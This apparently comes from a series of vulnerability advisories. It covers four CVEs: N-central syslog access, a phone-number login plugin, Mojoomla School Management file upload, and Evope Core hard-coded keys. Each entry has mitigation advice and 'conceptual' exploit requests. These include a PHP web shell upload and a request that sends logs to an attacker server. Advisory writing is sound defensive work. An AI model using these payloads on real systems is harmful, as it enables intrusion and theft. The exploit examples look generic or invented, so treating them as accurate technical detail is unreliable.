Author: Ameeba

Overview

The CVE-2025-7051 vulnerability is a serious cybersecurity flaw that affects all deployments of N-central prior to 2025.2. This vulnerability allows any authenticated user to read, write and modify syslog configuration across various customers on an N-central server. As a result, this opens up potential for system compromise or data leakage, causing significant security concerns for all users and businesses relying on this platform. Given the widespread use of N-central, this vulnerability could potentially have far-reaching impacts if left unaddressed.

Vulnerability Summary

CVE ID: CVE-2025-7051
Severity: High (8.3 CVSS Score)
Attack Vector: Network
Privileges Required: User-level
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

N-central | All versions prior to 2025.2

How the Exploit Works

The exploit takes advantage of the fact that N-central does not properly restrict access to syslog configurations. As a result, any authenticated user, regardless of their privilege level, can read, write, and modify syslog configurations across different customers on an N-central server. This can lead to unauthorized access to sensitive information, potential system compromise, and data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using an HTTP request:

POST /ncentral/syslog/config HTTP/1.1
Host: target.example.com
User-Agent: Mozilla/5.0
Authorization: Bearer {user_token}
{
"syslog_config": {
"log_level": "debug",
"log_destination": "{attacker_server}"
}
}

In the above pseudocode, the attacker, authenticated as a regular user, sends a POST request to change the syslog configuration. The ‘log_level’ is set to ‘debug’ to get detailed logs, and ‘log_destination’ is set to the attacker’s server, effectively redirecting all log information to the attacker.

Mitigation Guidance

The primary solution to mitigate this vulnerability is to apply the vendor-provided patch. The patch should be applied to all instances of N-central as soon as possible. If immediate patching is not feasible, using a web application firewall (WAF) or intrusion detection system (IDS) can serve as a temporary mitigation measure. However, these should not be seen as a long-term solution and the patch should be applied as soon as practicable to ensure robust protection against this vulnerability.

Overview

The cybersecurity landscape is a perpetual battlefield, with new vulnerabilities emerging regularly. One such high-severity vulnerability, tagged as CVE-2024-32832, has been detected in Hamid Alinia’s “Login with phone number” software. This vulnerability arises from a missing authorization check, which, if exploited, could lead to complete system compromise or data leakage. This vulnerability is particularly important to address as it affects the security of user login processes, a critical component in maintaining the overall security of any system.

Vulnerability Summary

CVE ID: CVE-2024-32832
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Login with phone number | Up to 1.6.93

How the Exploit Works

The exploit takes advantage of the missing authorization logic in the “Login with phone number” feature. An attacker can send a specially crafted request to the application, bypassing the authorization process. This allows unauthorized access to the system without requiring the correct credentials. The attacker then gains the same access or privileges as a legitimate user, leading to the potential for system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual representation of how the vulnerability might be exploited. This example assumes the attacker is using an HTTP POST request to the server.

POST /login HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"phone_number": "1234567890",
"bypass_auth": "True"
}

In this example, the attacker uses the `bypass_auth` parameter in the request, which is not correctly checked for authorization by the server. As a result, the server grants access to the attacker without validating the phone number or the need for a password.

Mitigation Guidance

As a mitigation measure, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation strategy. These systems can detect and block abnormal traffic patterns or potentially malicious requests, providing some relief until the patch is released and applied.

Overview

The CVE-2025-31100 vulnerability is a critical issue discovered in the School Management software developed by Mojoomla. It is a flaw that allows an attacker to upload files of a dangerous type, typically a web shell, to a web server unrestrictedly. This kind of vulnerability poses a severe risk to all entities using the software, from schools to other educational institutions, as it can lead to system compromise or data leakage. It’s imperative to understand and mitigate this vulnerability promptly due to its high-risk rating and potential for significant damage.

Vulnerability Summary

CVE ID: CVE-2025-31100
Severity: Critical (9.9 CVSS Score)
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Mojoomla School Management | n/a through 1.93.1

How the Exploit Works

The vulnerability primarily resides in the file upload feature of the Mojoomla School Management software. It fails to properly validate and sanitize the types of files being uploaded to the server. This lack of restriction allows attackers to upload a malicious web shell file to the server. Once uploaded, this web shell can execute arbitrary commands, providing the attacker with unauthorized access to the server and the ability to compromise the system or leak sensitive data.

Conceptual Example Code

Below is an illustrative example of how this vulnerability might be exploited. This is a conceptual HTTP request to upload a malicious web shell.

POST /file_upload HTTP/1.1
Host: target.school.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload_file"; filename="malicious_shell.php"
Content-Type: application/x-php
<?php system($_REQUEST['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this example, the attacker uploads a PHP web shell that executes any command passed through the ‘cmd’ HTTP request parameter.

Mitigation

The most effective way to mitigate this vulnerability is by applying the vendor’s patch. If it’s not immediately possible to apply the patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be configured to block or alert on attempts to upload potentially dangerous file types.
Remember, regular updates and patches are crucial to prevent potential cyber threats. Always adhere to the principle of least privilege, and avoid giving unnecessary permissions to users or services that do not require them.

Overview

A potentially devastating security vulnerability, identified as CVE-2025-56577, has been discovered in Evope Core v.1.1.3.20. This vulnerability could allow a local attacker to obtain sensitive information through the use of hard-coded cryptographic keys within the system. The severity of this vulnerability is high, due to its potential to compromise systems and result in data leakage. This issue affects all systems running the said version of Evope Core, highlighting the immediate need for action to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2025-56577
Severity: High (8.4 CVSS score)
Attack Vector: Local
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Evope Core | v.1.1.3.20

How the Exploit Works

The exploit takes advantage of hard-coded cryptographic keys within the Evope Core v.1.1.3.20. An attacker who has local access to the system can use these keys to decrypt sensitive information, potentially gaining unauthorized access to confidential data and system resources. The hardcoded keys could be leveraged to intercept and decrypt data, manipulate data, or even create unauthorized administrative accounts, leading to a full system compromise.

Conceptual Example Code

The following example demonstrates a potential way an attacker might exploit this vulnerability. This is a conceptual example and does not reflect an actual exploit:

# An example of how hardcoded keys might be used to decrypt sensitive data
def exploit(target):
hardcoded_key = 'VulnerableHardCodedKey'
encrypted_data = target.retrieve_encrypted_data()
decrypted_data = decrypt(hardcoded_key, encrypted_data)
return decrypted_data
# Assuming that the attacker has local access to the system
target = LocalSystem()
sensitive_data = exploit(target)
print(sensitive_data)

In this pseudocode, an attacker uses the hard-coded key to decrypt sensitive data retrieved from the target system.

Recommended Mitigation

As CVE-2025-56577 is a result of hardcoded cryptographic keys in Evope Core v.1.1.3.20, the primary solution is to apply the vendor-supplied patch, which removes these hardcoded keys and replaces them with a more secure method of encryption.
In the absence of a patch, or until one can be applied, organizations can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and control network traffic. These tools can help identify and block attempts to exploit this vulnerability.
It is also advisable to follow best practices for secure coding, which include avoiding the use of hardcoded cryptographic keys and ensuring sensitive data is properly encrypted and secured.